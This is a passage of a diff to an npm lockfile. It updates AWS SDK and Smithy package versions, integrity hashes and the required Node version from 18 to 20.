"https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.734.0.tgz", - "integrity": "sha512-xQTCus6Q9LwUuALW+S76OL0jcWtMOVu14q+GoLnWPUM7QeUw963oQcLhF7oq0CtaLLKyl4GOUfcwc773Zmwwng==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.734.0", - "@smithy/types": "^4.1.0", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-s3/node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.758.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.758.0.tgz", - "integrity": "sha512-A5EZw85V6WhoKMV2hbuFRvb9NPlxEErb4HPO6/SPXYY4QrjprIzScHxikqcWv1w4J3apB1wto9LPU3IMsYtfrw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-user-agent": "3.758.0", - "@aws-sdk/types": "3.734.0", - "@smithy/node-config-provider": "^4.0.1", - "@smithy/types": "^4.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-s3/node_modules/@smithy/is-array-buffer": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.0.0.tgz", - "integrity": "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-4.2.0.tgz", + "integrity": "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ==", "license": "Apache-2.0", "dependencies": { "tslib": "^2.6.2" @@ -3558,12 +3531,12 @@ } }, "node_modules/@aws-sdk/client-s3/node_modules/@smithy/util-buffer-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz", - "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.0.tgz", + "integrity": "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew==", "license": "Apache-2.0", "dependencies": { - "@smithy/is-array-buffer": "^4.0.0", + "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -3571,12 +3544,12 @@ } }, "node_modules/@aws-sdk/client-s3/node_modules/@smithy/util-utf8": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz", - "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.0.tgz", + "integrity": "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw==", "license": "Apache-2.0", "dependencies": { - "@smithy/util-buffer-from": "^4.0.0", + "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" }, "engines": { @@ -3584,52 +3557,68 @@ } }, "node_modules/@aws-sdk/client-sso": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.958.0.tgz", - "integrity": "sha512-6qNCIeaMzKzfqasy2nNRuYnMuaMebCcCPP4J2CVGkA8QYMbIVKPlkn9bpB20Vxe6H/r3jtCCLQaOJjVTx/6dXg==", + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.982.0.tgz", + "integrity": "sha512-qJrIiivmvujdGqJ0ldSUvhN3k3N7GtPesoOI1BSt0fNXovVnMz4C/JmnkhZihU7hJhDvxJaBROLYTU+lpild4w==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-sso/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-sso/node_modules/@smithy/is-array-buffer": { @@ -3671,41 +3660,27 @@ } }, "node_modules/@aws-sdk/core": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.957.0.tgz", - "integrity": "sha512-DrZgDnF1lQZv75a52nFWs6MExihJF2GZB6ETZRqr6jMwhrk2kbJPUtvgbifwcL7AYmVqHQDJBrR/MqkwwFCpiw==", + "version": "3.973.6", + "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.973.6.tgz", + "integrity": "sha512-pz4ZOw3BLG0NdF25HoB9ymSYyPbMiIjwQJ2aROXRhAzt+b+EOxStfFv8s5iZyP6Kiw7aYhyWxj5G3NhmkoOTKw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.957.0", - "@aws-sdk/xml-builder": "3.957.0", - "@smithy/core": "^3.20.0", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/signature-v4": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/xml-builder": "^3.972.4", + "@smithy/core": "^3.22.0", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/signature-v4": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", "@smithy/util-base64": "^4.3.0", - "@smithy/util-middleware": "^4.2.7", + "@smithy/util-middleware": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/core/node_modules/@aws-sdk/xml-builder": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.957.0.tgz", - "integrity": "sha512-Ai5iiQqS8kJ5PjzMhWcLKN0G2yasAkvpnPlq2EnqlIMdB48HsizElt62qcktdxp4neRMyGkFq4NzgmDbXnhRiA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.11.0", - "fast-xml-parser": "5.2.5", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/core/node_modules/@smithy/is-array-buffer": { @@ -3746,145 +3721,144 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/core/node_modules/fast-xml-parser": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz", - "integrity": "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "strnum": "^2.1.0" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/@aws-sdk/core/node_modules/strnum": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.2.tgz", - "integrity": "sha512-l63NF9y/cLROq/yqKXSLtcMeeyOfnSQlfMSlzFt/K73oIaD8DGaQWd7Z34X9GPiKqP5rbSh84Hl4bOlLcjiSrQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, - "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.957.0.tgz", - "integrity": "sha512-475mkhGaWCr+Z52fOOVb/q2VHuNvqEDixlYIkeaO6xJ6t9qR0wpLt4hOQaR6zR1wfZV0SlE7d8RErdYq/PByog==", + "node_modules/@aws-sdk/crc64-nvme": { + "version": "3.972.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/crc64-nvme/-/crc64-nvme-3.972.0.tgz", + "integrity": "sha512-ThlLhTqX68jvoIVv+pryOdb5coP1cX1/MaTbB9xkGDCbWbsqQcLqzPxuSoW1DCnAAIacmXCWpzUNOB9pv+xXQw==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.4.tgz", + "integrity": "sha512-/8dnc7+XNMmViEom2xsNdArQxQPSgy4Z/lm6qaFPTrMFesT1bV3PsBhb19n09nmxHdrtQskYmViddUIjUQElXg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/types": "^4.12.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.957.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.957.0.tgz", - "integrity": "sha512-8dS55QHRxXgJlHkEYaCGZIhieCs9NU1HU1BcqQ4RfUdSsfRdxxktqUKgCnBnOOn0oD3PPA8cQOCAVgIyRb3Rfw==", + "version": "3.972.6", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.6.tgz", + "integrity": "sha512-5ERWqRljiZv44AIdvIRQ3k+EAV0Sq2WeJHvXuK7gL7bovSxOf8Al7MLH7Eh3rdovH4KHFnlIty7J71mzvQBl5Q==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/util-stream": "^4.5.8", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/types": "^3.973.1", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/util-stream": "^4.5.10", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.958.0.tgz", - "integrity": "sha512-u7twvZa1/6GWmPBZs6DbjlegCoNzNjBsMS/6fvh5quByYrcJr/uLd8YEr7S3UIq4kR/gSnHqcae7y2nL2bqZdg==", + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.4.tgz", + "integrity": "sha512-eRUg+3HaUKuXWn/lEMirdiA5HOKmEl8hEHVuszIDt2MMBUKgVX5XNGmb3XmbgU17h6DZ+RtjbxQpjhz3SbTjZg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/credential-provider-env": "3.957.0", - "@aws-sdk/credential-provider-http": "3.957.0", - "@aws-sdk/credential-provider-login": "3.958.0", - "@aws-sdk/credential-provider-process": "3.957.0", - "@aws-sdk/credential-provider-sso": "3.958.0", - "@aws-sdk/credential-provider-web-identity": "3.958.0", - "@aws-sdk/nested-clients": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/credential-provider-imds": "^4.2.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/credential-provider-env": "^3.972.4", + "@aws-sdk/credential-provider-http": "^3.972.6", + "@aws-sdk/credential-provider-login": "^3.972.4", + "@aws-sdk/credential-provider-process": "^3.972.4", + "@aws-sdk/credential-provider-sso": "^3.972.4", + "@aws-sdk/credential-provider-web-identity": "^3.972.4", + "@aws-sdk/nested-clients": "3.982.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/credential-provider-imds": "^4.2.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-ini/node_modules/@aws-sdk/nested-clients": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.958.0.tgz", - "integrity": "sha512-/KuCcS8b5TpQXkYOrPLYytrgxBhv81+5pChkOlhegbeHttjM69pyUpQVJqyfDM/A7wPLnDrzCAnk4zaAOkY0Nw==", + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.982.0.tgz", + "integrity": "sha512-VVkaH27digrJfdVrT64rjkllvOp4oRiZuuJvrylLXAKl18ujToJR7AqpDldL/LS63RVne3QWIpkygIymxFtliQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-ini/node_modules/@smithy/is-array-buffer": { @@ -3926,71 +3900,87 @@ } }, "node_modules/@aws-sdk/credential-provider-login": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.958.0.tgz", - "integrity": "sha512-sDwtDnBSszUIbzbOORGh5gmXGl9aK25+BHb4gb1aVlqB+nNL2+IUEJA62+CE55lXSH8qXF90paivjK8tOHTwPA==", + "version": "3.972.4", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.4.tgz", + "integrity": "sha512-nLGjXuvWWDlQAp505xIONI7Gam0vw2p7Qu3P6on/W2q7rjJXtYjtpHbcsaOjJ/pAju3eTvEQuSuRedcRHVQIAQ==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/core": "3.957.0", - "@aws-sdk/nested-clients": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/property-provider": "^4.2.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/nested-clients": "3.982.0", + "@aws-sdk/types": "^3.973.1", + "@smithy/property-provider": "^4.2.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-login/node_modules/@aws-sdk/nested-clients": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.958.0.tgz", - "integrity": "sha512-/KuCcS8b5TpQXkYOrPLYytrgxBhv81+5pChkOlhegbeHttjM69pyUpQVJqyfDM/A7wPLnDrzCAnk4zaAOkY0Nw==", + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.982.0.tgz", + "integrity": "sha512-VVkaH27digrJfdVrT64rjkllvOp4oRiZuuJvrylLXAKl18ujToJR7AqpDldL/LS63RVne3QWIpkygIymxFtliQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.982.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-login/node_modules/@aws-sdk/util-endpoints": { + "version": "3.982.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.982.0.tgz", + "integrity": "sha512-M27u8FJP7O0Of9hMWX5dipp//8iglmV9jr7R8SR8RveU+Z50/8TqH68Tu6wUWBGMfXjzbVwn1INIAO5lZrlxXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/credential-provider-login/node_modules/@smithy/is-array-buffer": { @@ -4032,442 +4022,148 @@ } }, "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.927.0.tgz", - "integrity": "sha512-M6BLrI+WHQ7PUY1aYu2OkI/KEz9aca+05zyycACk7cnlHlZaQ3vTFd0xOqF+A1qaenQBuxApOTs7Z21pnPUo9Q==", + "version": "3.972.5", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.5.tgz", + "integrity": "sha512-VWXKgSISQCI2GKN3zakTNHSiZ0+mux7v6YHmmbLQp/o3fvYUQJmKGcLZZzg2GFA+tGGBStplra9VFNf/WwxpYg==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/credential-provider-env": "3.927.0", - "@aws-sdk/credential-provider-http": "3.927.0", - "@aws-sdk/credential-provider-ini": "3.927.0", - "@aws-sdk/credential-provider-process": "3.927.0", - "@aws-sdk/credential-provider-sso": "3.927.0", - "@aws-sdk/credential-provider-web-identity": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/credential-provider-imds": "^4.2.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/shared-ini-file-loader": "^4.3.4", - "@smithy/types": "^4.8.1", + "@aws-sdk/credential-provider-env": "^3.972.4", + "@aws-sdk/credential-provider-http": "^3.972.6", + "@aws-sdk/credential-provider-ini": "^3.972.4", + "@aws-sdk/credential-provider-process": "^3.972.4", + "@aws-sdk/credential-provider-sso": "^3.972.4", + "@aws-sdk/credential-provider-web-identity": "^3.972.4", + "@aws-sdk/types": "^3.973.1", + "@smithy/credential-provider-imds": "^4.2.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/shared-ini-file-loader": "^4.4.3", + "@smithy/types": "^4.12.0", 